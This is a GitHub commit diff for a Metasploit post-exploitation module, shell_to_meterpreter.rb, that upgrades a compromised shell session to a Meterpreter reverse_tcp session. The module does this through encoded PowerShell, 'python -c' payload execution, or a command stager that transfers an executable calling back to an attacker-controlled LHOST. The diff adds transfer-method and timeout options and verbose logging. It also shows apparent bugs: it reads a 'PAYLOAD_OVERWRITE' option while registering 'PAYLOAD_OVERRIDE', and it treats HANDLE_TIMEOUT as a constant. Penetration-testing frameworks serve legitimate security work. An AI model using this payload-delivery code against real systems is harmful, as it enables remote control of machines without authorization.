Skip to content

Commit ef825fb

Browse files
committed
Land rapid7#5530, shell_to_meterpreter improvements
2 parents 4fee6b2 + 33139c4 commit ef825fb

File tree

1 file changed

+41
-13
lines changed

1 file changed

+41
-13
lines changed

modules/post/multi/manage/shell_to_meterpreter.rb

Lines changed: 41 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -29,18 +29,31 @@ def initialize(info = {})
2929
register_options(
3030
[
3131
OptAddress.new('LHOST',
32-
[false, 'IP of host that will receive the connection from the payload.']),
32+
[false, 'IP of host that will receive the connection from the payload (Will try to auto detect).', nil]),
3333
OptInt.new('LPORT',
34-
[false, 'Port for Payload to connect to.', 4433]),
34+
[true, 'Port for payload to connect to.', 4433]),
3535
OptBool.new('HANDLER',
3636
[ true, 'Start an exploit/multi/handler to receive the connection', true])
3737
], self.class)
38+
register_advanced_options([
39+
OptInt.new('HANDLE_TIMEOUT',
40+
[true, 'How long to wait (in seconds) for the session to come back.', 30]),
41+
OptEnum.new('WIN_TRANSFER',
42+
[true, 'Which method to try first to transfer files on a Windows target.', 'POWERSHELL', ['POWERSHELL', 'VBS']]),
43+
OptString.new('PAYLOAD_OVERRIDE',
44+
[false, 'Define the payload to use (meterpreter/reverse_tcp by default) .', nil])
45+
], self.class)
3846
deregister_options('PERSIST', 'PSH_OLD_METHOD', 'RUN_WOW64')
3947
end
4048

41-
# Run Method for when run command is issued
49+
# Run method for when run command is issued
4250
def run
43-
print_status("Upgrading session: #{datastore['SESSION']}")
51+
print_status("Upgrading session ID: #{datastore['SESSION']}")
52+
53+
if session.type =~ /meterpreter/
54+
print_error("Shell is already Meterpreter.")
55+
return nil
56+
end
4457

4558
# Try hard to find a valid LHOST value in order to
4659
# make running 'sessions -u' as robust as possible.
@@ -52,7 +65,7 @@ def run
5265
lhost = session.tunnel_local.split(':')[0]
5366
end
5467

55-
# If nothing else works....
68+
# If nothing else works...
5669
lhost = Rex::Socket.source_address if lhost.blank?
5770

5871
lport = datastore['LPORT']
@@ -65,27 +78,34 @@ def run
6578
lplat = [Msf::Platform::Windows]
6679
larch = [ARCH_X86]
6780
psh_arch = 'x86'
81+
print_status("Platform: Windows") if datastore['VERBOSE']
6882
when /osx/i
6983
platform = 'python'
7084
payload_name = 'python/meterpreter/reverse_tcp'
85+
print_status("Platform: OS X") if datastore['VERBOSE']
7186
when /solaris/i
7287
platform = 'python'
7388
payload_name = 'python/meterpreter/reverse_tcp'
89+
print_status("Platform: Solaris") if datastore['VERBOSE']
7490
else
75-
# Find the best fit, be specific w/ uname to avoid matching hostname or something else
91+
# Find the best fit, be specific with uname to avoid matching hostname or something else
7692
target_info = cmd_exec('uname -mo')
7793
if target_info =~ /linux/i && target_info =~ /86/
7894
# Handle linux shells that were identified as 'unix'
7995
platform = 'linux'
8096
payload_name = 'linux/x86/meterpreter/reverse_tcp'
8197
lplat = [Msf::Platform::Linux]
8298
larch = [ARCH_X86]
99+
print_status("Platform: Linux") if datastore['VERBOSE']
83100
elsif cmd_exec('python -V') =~ /Python (2|3)\.(\d)/
84101
# Generic fallback for OSX, Solaris, Linux/ARM
85102
platform = 'python'
86103
payload_name = 'python/meterpreter/reverse_tcp'
104+
print_status("Platform: Python [fallback]") if datastore['VERBOSE']
87105
end
88106
end
107+
payload_name = datastore['PAYLOAD_OVERWRITE'] if datastore['PAYLOAD_OVERWRITE']
108+
print_status("Upgrade payload: #{payload_name}") if datastore['VERBOSE']
89109

90110
if platform.blank?
91111
print_error("Shells on the the target platform, #{session.platform}, cannot be upgraded to Meterpreter at this time.")
@@ -108,21 +128,29 @@ def run
108128

109129
case platform
110130
when 'win'
111-
if have_powershell?
131+
if (have_powershell?) && (datastore['WIN_TRANSFER'] != 'VBS')
132+
print_status("Transfer method: Powershell") if datastore['VERBOSE']
112133
psh_opts = { :prepend_sleep => 1, :encode_inner_payload => true, :persist => false }
113134
cmd_exec(cmd_psh_payload(payload_data, psh_arch, psh_opts))
114135
else
136+
print_error('Powershell is not installed on the target.') if datastore['WIN_TRANSFER'] == 'POWERSHELL'
137+
print_status("Transfer method: VBS [fallback]") if datastore['VERBOSE']
115138
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)
116139
aborted = transmit_payload(exe)
117140
end
118141
when 'python'
142+
print_status("Transfer method: Python") if datastore['VERBOSE']
119143
cmd_exec("python -c \"#{payload_data}\"")
120144
else
145+
print_status("Transfer method: Bourne shell [fallback]") if datastore['VERBOSE']
121146
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)
122147
aborted = transmit_payload(exe)
123148
end
124149

125-
cleanup_handler(listener_job_id, aborted) if datastore['HANDLER']
150+
if datastore['HANDLER']
151+
print_status("Cleaning up handler") if datastore['VERBOSE']
152+
cleanup_handler(listener_job_id, aborted)
153+
end
126154
return nil
127155
end
128156

@@ -150,7 +178,7 @@ def transmit_payload(exe)
150178

151179
cmds = cmdstager.generate(opts)
152180
if cmds.nil? || cmds.length < 1
153-
print_error('The command stager could not be generated')
181+
print_error('The command stager could not be generated.')
154182
raise ArgumentError
155183
end
156184

@@ -160,6 +188,7 @@ def transmit_payload(exe)
160188
total_bytes = 0
161189
cmds.each { |cmd| total_bytes += cmd.length }
162190

191+
print_status("Starting transfer...") if datastore['VERBOSE']
163192
begin
164193
#
165194
# Run the commands one at a time
@@ -198,12 +227,11 @@ def transmit_payload(exe)
198227
def cleanup_handler(listener_job_id, aborted)
199228
# Return if the job has already finished
200229
return nil if framework.jobs[listener_job_id].nil?
201-
202230
framework.threads.spawn('ShellToMeterpreterUpgradeCleanup', false) {
203231
if !aborted
204232
timer = 0
205-
while !framework.jobs[listener_job_id].nil? && timer < 10
206-
# Wait up to 10 seconds for the session to come in..
233+
print_status("Waiting up to #{HANDLE_TIMEOUT} seconds for the session to come back") if datastore['VERBOSE']
234+
while !framework.jobs[listener_job_id].nil? && timer < HANDLE_TIMEOUT
207235
sleep(1)
208236
timer += 1
209237
end
@@ -218,7 +246,7 @@ def cleanup_handler(listener_job_id, aborted)
218246
#
219247
def progress(total, sent)
220248
done = (sent.to_f / total.to_f) * 100
221-
print_status("Command Stager progress - %3.2f%% done (%d/%d bytes)" % [done.to_f, sent, total])
249+
print_status("Command stager progress: %3.2f%% (%d/%d bytes)" % [done.to_f, sent, total])
222250
end
223251

224252
# Method for checking if a listener for a given IP and port is present

0 commit comments

Comments
 (0)